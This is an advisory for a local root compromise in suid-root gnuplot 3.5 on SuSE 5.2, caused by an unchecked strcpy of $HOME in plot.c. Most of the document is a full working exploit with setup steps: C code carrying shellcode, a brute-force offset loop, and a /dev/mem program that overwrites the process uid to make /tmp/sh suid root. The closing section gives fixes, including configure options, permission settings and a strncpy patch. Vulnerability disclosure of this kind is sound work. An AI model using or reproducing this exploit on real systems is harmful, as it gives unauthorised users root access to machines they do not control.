COMMAND

    /usr/bin/gnuplot

SYSTEMS AFFECTED

    Linux

PROBLEM

    'xnec'  found  following.   There  is  a  local root comprimise in
    /usr/bin/gnuplot version  Linux version  3.5 (pre  3.6) patchlevel
    beta 336.  gnuplot is shipped to install suidroot on SuSE 5.2  and
    maybe  others.   The  exploit  starts  as  a  simple  $HOME buffer
    overflow,  but  much  like  zgv  holes  in the past, it drops root
    privs before the  overflow occurs.   However, svgalib needs  write
    access to  /dev/mem, and  we can  therefore regain  root privs  by
    overwriting our uid.  the  offending code appears in plot.c  where
    we see:

	    char home[80];
	...
	    char *tmp_home=getenv(HOME);
	...
	    strcpy(home,tmp_home);

    Exploit follows:

    /*
    gnuplot Linux x86 exploit from xnec
    tested on gnuplot Linux version 3.5 (pre 3.6) patchlevel beta 336/SuSE 5.2
    gnuplot ships suidroot by default in SuSE 5.2, maybe others

    gcc -o xnec_plot xnec_plot.c
    ./xnec_plot <bufsiz> <offset>

    The buffer we're overflowing is only 80 bytes, so we're going to have to
    get our settings just so.  If you don't feel like typing in command line
    offsets and bufsizes, make a little shell script:
    ---
    #! /bin/bash
    bufsiz=110
    offset=0

    while [ $offset -lt 500 ]; do
      ./xnec_plot $bufsiz $offset
      offset=`expr $offset + 10`
    done
    ---
    since gnuplot drops root privs after it inits your svga, we can't just exec
    /bin/sh, we'll need to use the technique of replacing our saved uid
    in /dev/mem with '0', then execing whatever we please.  We do this by compiling
    Nergal's program, mem.c and putting the output file in /tmp/xp, as in
    gcc -o /tmp/xp mem.c.  Nergal's program will then make /tmp/sh suidroot,
    so don't forget to cp /bin/sh /tmp/sh.  You will also have to change
    line 32 to the correct address of kstat, which can be obtained by doing
    strings /proc/ksyms | grep kstat.

    greets to #sk1llz, xnec on EFnet and DALnet

    */

    #include <stdlib.h>

    #define DEFAULT_OFFSET 50
    #define DEFAULT_BUFSIZ 110
    #define NOP 0x90
    #define DEFAULT_ADDR 0xbffff81c

    /* Aleph One's shellcode, modified to run our own program */
    char shellcode[] =
      "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
      "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
      "\x80\xe8\xdc\xff\xff\xff/tmp/xp";

    unsigned long getsp(void) {
       __asm__("movl %esp,%eax");
    }


    void main(int argc, char *argv[]) {
      char *buf, *ret;
      long *addrp, addr;
      int bufsiz, offset;
      int i;

      bufsiz=DEFAULT_BUFSIZ;
      offset=DEFAULT_OFFSET;

      if (argc = 2) bufsiz  = atoi(argv[1]);
      if (argc = 3) offset = atoi(argv[2]);

      buf=malloc(bufsiz);
      addr = getsp() - offset;

      printf("address: 0x%x\n", addr);
      printf("bufsize: %d\n", bufsiz);
      printf("offset : %d\n", offset);

      ret = buf;
      addrp = (long *) ret;
      for (i = 0; i < bufsiz; i+=4)
	*(addrp++) = addr;

      memset(buf, NOP, (strlen(shellcode)/2));

      ret = buf + ((bufsiz/2) - (strlen(shellcode)/2));
      for (i = 0; i < strlen(shellcode); i++)
	*(ret++) = shellcode[i];

      buf[bufsiz - 1] = '\0';

      memcpy(buf,"HOME=", 5);
      setenv("HOME", buf, 1);
      execvp("/usr/bin/gnuplot", NULL);
    }

    Nergal's mem.c:

    /* by Nergal */
    #define SEEK_SET 0

    #define __KERNEL__
    #include <linux/sched.h>
    #undef __KERNEL__

    #define SIZEOF sizeof(struct task_struct)

    int mem_fd;
    int mypid;

    void
    testtask (unsigned int mem_offset)
    {
      struct task_struct some_task;
      int uid, pid;
      lseek (mem_fd, mem_offset, SEEK_SET);
      read (mem_fd, &some_task, SIZEOF);
      if (some_task.pid == mypid)   /* is it our task_struct ? */
	{
	  some_task.euid = 0;
	  some_task.fsuid = 0;      /* needed for chown */
	  lseek (mem_fd, mem_offset, SEEK_SET);
	  write (mem_fd, &some_task, SIZEOF);
	  /* from now on, there is no law beyond do what thou wilt */
	  chown ("/tmp/sh", 0, 0);
	  chmod ("/tmp/sh", 04755);
	  exit (0);
	}
    }
    #define KSTAT 0x001a8fb8  /*  <-- replace this addr with that of your kstat */
    main ()                   /*      by doing strings /proc/ksyms |grep kstat  */
    {
      unsigned int i;
      struct task_struct *task[NR_TASKS];
      unsigned int task_addr = KSTAT - NR_TASKS * 4;
      mem_fd = 3;                   /* presumed to be opened /dev/mem */
      mypid = getpid ();
      lseek (mem_fd, task_addr, SEEK_SET);
      read (mem_fd, task, NR_TASKS * 4);
      for (i = 0; i < NR_TASKS; i++)
	if (task[i])
	  testtask ((unsigned int)(task[i]));

    }

SOLUTION

    Note  that  suidroot  installation  of  gnuplot  is done *only* if
    SVGAlib is found  at compile time,  and actually used  by gnuplot.
    So,  instead  of  explicitly  disallowing  suidroot,  the   *safe*
    solution  is   to  pass   the  '--without-linux-vga'   option   to
    'configure' to disable use of SVGAlib, and that's that.

    If you use SuSE and you care a _lot_ about local security you must
    edit /etc/rc.config and set PERMISSION_SECURITY="paranoid".   That
    way  gnuplot  would  _not_  be  suidroot.  See  the  contents   of
    /etc/permissions.paranoid (not by default install):

	root@laser:/home/andrea# grep gnuplot /etc/permissions.paranoid
	# WHY ON HELL was gnuplot suid root !!!!!
	/usr/bin/gnuplot                       root.root        755

    Using  PERMISSION_SECURITY="secure"  was  just installing tvscreen
    _not_ suidroot.   Using PERMISSION_SECURITY="easy" (and  note: you
    are asked to set "easy"  instead of "secure") is very  riskious in
    a envinronment that has to be  secured, but you asked for that  so
    don't complain (e.g. about xtvscreen).

    Running it under X11 doesn't require gnuplot to be suid root.   If
    you absolutely insist on suid, here's the patch:

    --- plot.c.old  Fri Mar  5 03:17:59 1999
    +++ plot.c      Fri Mar  5 03:29:19 1999
    @@ -516,7 +516,7 @@
	 char c='\0';/* character that should be added, or \0, if none */

	 if(tmp_home) {
    -       strcpy(home,tmp_home);
    +       strncpy(home,tmp_home,(sizeof(home) - 1));
	    if( strlen(home) ) p = &home[strlen(home)-1];
	    else               p = home;
     #if defined(MSDOS) || defined(ATARI) || defined( OS2 ) || defined(_Windows) ||
    defined(DOS386)

    SuSE 6.1. will address this issue.